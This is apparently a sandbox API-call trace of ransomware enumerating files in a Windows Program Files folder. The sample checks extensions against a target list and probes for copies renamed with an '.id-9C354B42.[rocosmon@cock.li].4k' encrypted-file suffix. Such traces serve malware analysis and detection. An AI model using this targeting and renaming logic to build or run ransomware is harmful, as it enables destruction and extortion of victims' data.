	[0096.189] lstrlenW (lpString=".xls") returned 4
	[0096.189] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0096.189] lstrlenW (lpString=".xlsx") returned 5
	[0096.189] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0096.189] lstrlenW (lpString=".ppt") returned 4
	[0096.189] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0096.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0096.189] lstrlenW (lpString=".zip") returned 4
	[0096.189] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0096.190] lstrlenW (lpString=".rar") returned 4
	[0096.190] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0096.190] lstrlenW (lpString=".bz2") returned 4
	[0096.190] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0096.190] lstrlenW (lpString=".7z") returned 3
	[0096.190] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0096.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0096.190] lstrlenW (lpString=".dbf") returned 4
	[0096.190] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0096.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0096.190] lstrlenW (lpString=".1cd") returned 4
	[0096.190] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0096.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 76
	[0096.190] lstrlenW (lpString=".jpg") returned 4
	[0096.190] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0096.191] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0096.191] lstrlenW (lpString="symbols.xml") returned 11
	[0096.191] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0096.394] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=591) returned 1
	[0096.394] CloseHandle (hObject=0x160) returned 1
	[0096.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20
	[0096.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0096.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0096.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0096.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0096.395] lstrlenW (lpString=".doc") returned 4
	[0096.395] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0096.395] lstrlenW (lpString=".docx") returned 5
	[0096.395] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0096.395] lstrlenW (lpString=".pdf") returned 4
	[0096.395] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0096.395] lstrlenW (lpString=".xls") returned 4
	[0096.395] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0096.395] lstrlenW (lpString=".xlsx") returned 5
	[0096.395] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0096.395] lstrlenW (lpString=".ppt") returned 4
	[0096.395] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0096.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0096.395] lstrlenW (lpString=".zip") returned 4
	[0096.395] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0096.395] lstrlenW (lpString=".rar") returned 4
	[0096.395] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0096.395] lstrlenW (lpString=".bz2") returned 4
	[0096.395] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0096.395] lstrlenW (lpString=".7z") returned 3
	[0096.395] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0096.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0096.396] lstrlenW (lpString=".dbf") returned 4
	[0096.396] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0096.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0096.396] lstrlenW (lpString=".1cd") returned 4
	[0096.396] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0096.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0096.396] lstrlenW (lpString=".jpg") returned 4
	[0096.396] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0096.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0096.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0096.396] lstrlenW (lpString=".doc") returned 4
	[0096.396] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0096.396] lstrlenW (lpString=".docx") returned 5
	[0096.396] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1
	[0096.396] lstrlenW (lpString=".pdf") returned 4
	[0096.396] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0096.396] lstrlenW (lpString=".xls") returned 4
	[0096.396] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0096.396] lstrlenW (lpString=".xlsx") returned 5
	[0096.396] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1
	[0096.396] lstrlenW (lpString=".ppt") returned 4
	[0096.396] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0096.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0096.396] lstrlenW (lpString=".zip") returned 4
	[0096.396] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0096.397] lstrlenW (lpString=".rar") returned 4
	[0096.397] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0096.397] lstrlenW (lpString=".bz2") returned 4
	[0096.397] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0096.397] lstrlenW (lpString=".7z") returned 3
	[0096.397] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0096.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0096.397] lstrlenW (lpString=".dbf") returned 4
	[0096.397] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0096.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0096.397] lstrlenW (lpString=".1cd") returned 4
	[0096.397] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0096.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 76
	[0096.397] lstrlenW (lpString=".jpg") returned 4
	[0096.397] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0096.397] lstrcmpiW (lpString1=".dat", lpString2=".4k") returned 1
	[0096.397] lstrlenW (lpString="hwrenclm.dat") returned 12
	[0096.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0097.331] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=815680) returned 1
	[0097.332] CloseHandle (hObject=0x1f0) returned 1
	[0097.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20
	[0097.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0097.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0097.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0097.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0097.332] lstrlenW (lpString=".doc") returned 4
	[0097.332] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0097.332] lstrlenW (lpString=".docx") returned 5
	[0097.332] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0097.332] lstrlenW (lpString=".pdf") returned 4
	[0097.332] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0097.333] lstrlenW (lpString=".xls") returned 4
	[0097.333] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0097.333] lstrlenW (lpString=".xlsx") returned 5
	[0097.333] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0097.333] lstrlenW (lpString=".ppt") returned 4
	[0097.333] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0097.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0097.333] lstrlenW (lpString=".zip") returned 4
	[0097.333] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0097.333] lstrlenW (lpString=".rar") returned 4
	[0097.333] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0097.333] lstrlenW (lpString=".bz2") returned 4
	[0097.333] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0097.333] lstrlenW (lpString=".7z") returned 3
	[0097.333] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0097.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0097.333] lstrlenW (lpString=".dbf") returned 4
	[0097.333] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0097.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0097.334] lstrlenW (lpString=".1cd") returned 4
	[0097.334] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0097.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0097.334] lstrlenW (lpString=".jpg") returned 4
	[0097.334] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0097.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0097.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0097.334] lstrlenW (lpString=".doc") returned 4
	[0097.334] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1
	[0097.334] lstrlenW (lpString=".docx") returned 5
	[0097.334] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1
	[0097.334] lstrlenW (lpString=".pdf") returned 4
	[0097.334] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1
	[0097.334] lstrlenW (lpString=".xls") returned 4
	[0097.334] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1
	[0097.334] lstrlenW (lpString=".xlsx") returned 5
	[0097.335] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1
	[0097.335] lstrlenW (lpString=".ppt") returned 4
	[0097.335] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1
	[0097.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0097.335] lstrlenW (lpString=".zip") returned 4
	[0097.335] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1
	[0097.335] lstrlenW (lpString=".rar") returned 4
	[0097.335] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1
	[0097.335] lstrlenW (lpString=".bz2") returned 4
	[0097.335] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1
	[0097.335] lstrlenW (lpString=".7z") returned 3
	[0097.335] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1
	[0097.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0097.335] lstrlenW (lpString=".dbf") returned 4
	[0097.335] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1
	[0097.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0097.335] lstrlenW (lpString=".1cd") returned 4
	[0097.335] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1
	[0097.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63
	[0097.336] lstrlenW (lpString=".jpg") returned 4
	[0097.336] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1
	[0097.373] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0097.373] lstrlenW (lpString="ipshrv.xml") returned 10
	[0097.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0097.532] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=2652) returned 1
	[0097.532] CloseHandle (hObject=0x18c) returned 1
	[0097.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20
	[0097.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0097.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0097.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0097.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0097.533] lstrlenW (lpString=".doc") returned 4
	[0097.533] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0097.533] lstrlenW (lpString=".docx") returned 5
	[0097.533] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1
	[0097.533] lstrlenW (lpString=".pdf") returned 4
	[0097.533] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0097.533] lstrlenW (lpString=".xls") returned 4
	[0097.533] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0097.533] lstrlenW (lpString=".xlsx") returned 5
	[0097.533] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1
	[0097.533] lstrlenW (lpString=".ppt") returned 4
	[0097.533] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0097.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0097.533] lstrlenW (lpString=".zip") returned 4
	[0097.533] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0097.533] lstrlenW (lpString=".rar") returned 4
	[0097.533] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0097.533] lstrlenW (lpString=".bz2") returned 4
	[0097.533] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0097.533] lstrlenW (lpString=".7z") returned 3
	[0097.533] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0097.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0097.533] lstrlenW (lpString=".dbf") returned 4
	[0097.533] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0097.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0097.534] lstrlenW (lpString=".1cd") returned 4
	[0097.534] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0097.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0097.534] lstrlenW (lpString=".jpg") returned 4
	[0097.534] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0097.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0097.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0097.534] lstrlenW (lpString=".doc") returned 4
	[0097.534] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0097.534] lstrlenW (lpString=".docx") returned 5
	[0097.534] lstrcmpiW (lpString1=".docx", lpString2="v.xml") returned -1
	[0097.534] lstrlenW (lpString=".pdf") returned 4
	[0097.534] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0097.534] lstrlenW (lpString=".xls") returned 4
	[0097.534] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0097.534] lstrlenW (lpString=".xlsx") returned 5
	[0097.534] lstrcmpiW (lpString1=".xlsx", lpString2="v.xml") returned -1
	[0097.534] lstrlenW (lpString=".ppt") returned 4
	[0097.534] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0097.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0097.534] lstrlenW (lpString=".zip") returned 4
	[0097.534] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0097.534] lstrlenW (lpString=".rar") returned 4
	[0097.534] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0097.534] lstrlenW (lpString=".bz2") returned 4
	[0097.534] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0097.534] lstrlenW (lpString=".7z") returned 3
	[0097.535] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0097.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0097.535] lstrlenW (lpString=".dbf") returned 4
	[0097.535] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0097.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0097.535] lstrlenW (lpString=".1cd") returned 4
	[0097.535] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0097.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61
	[0097.535] lstrlenW (lpString=".jpg") returned 4
	[0097.535] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0097.621] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0097.622] lstrlenW (lpString="ipsjpn.xml") returned 10
	[0097.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0097.622] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=2522) returned 1
	[0097.622] CloseHandle (hObject=0x1e4) returned 1
	[0097.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20
	[0097.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0097.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0097.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0097.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0097.623] lstrlenW (lpString=".doc") returned 4
	[0097.623] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0097.623] lstrlenW (lpString=".docx") returned 5
	[0097.623] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0097.623] lstrlenW (lpString=".pdf") returned 4
	[0097.623] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0097.623] lstrlenW (lpString=".xls") returned 4
	[0097.623] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0097.623] lstrlenW (lpString=".xlsx") returned 5
	[0097.623] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0097.623] lstrlenW (lpString=".ppt") returned 4
	[0097.623] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0097.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0097.623] lstrlenW (lpString=".zip") returned 4
	[0097.623] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0097.623] lstrlenW (lpString=".rar") returned 4
	[0097.623] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0097.623] lstrlenW (lpString=".bz2") returned 4
	[0097.623] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0097.623] lstrlenW (lpString=".7z") returned 3
	[0097.623] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0097.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0097.623] lstrlenW (lpString=".dbf") returned 4
	[0097.623] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0097.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0097.623] lstrlenW (lpString=".1cd") returned 4
	[0097.623] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0097.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0097.624] lstrlenW (lpString=".jpg") returned 4
	[0097.624] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0097.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0097.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0097.624] lstrlenW (lpString=".doc") returned 4
	[0097.624] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0097.624] lstrlenW (lpString=".docx") returned 5
	[0097.624] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0097.624] lstrlenW (lpString=".pdf") returned 4
	[0097.624] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0097.624] lstrlenW (lpString=".xls") returned 4
	[0097.624] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0097.624] lstrlenW (lpString=".xlsx") returned 5
	[0097.624] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0097.624] lstrlenW (lpString=".ppt") returned 4
	[0097.624] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0097.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0097.624] lstrlenW (lpString=".zip") returned 4
	[0097.624] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0097.624] lstrlenW (lpString=".rar") returned 4
	[0097.624] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0097.624] lstrlenW (lpString=".bz2") returned 4
	[0097.624] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0097.624] lstrlenW (lpString=".7z") returned 3
	[0097.624] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0097.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0097.625] lstrlenW (lpString=".dbf") returned 4
	[0097.625] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0097.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0097.625] lstrlenW (lpString=".1cd") returned 4
	[0097.625] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0097.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61
	[0097.625] lstrlenW (lpString=".jpg") returned 4
	[0097.625] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0097.625] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0097.625] lstrlenW (lpString="ipskor.xml") returned 10
	[0097.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0098.376] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=2568) returned 1
	[0098.376] CloseHandle (hObject=0x184) returned 1
	[0098.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20
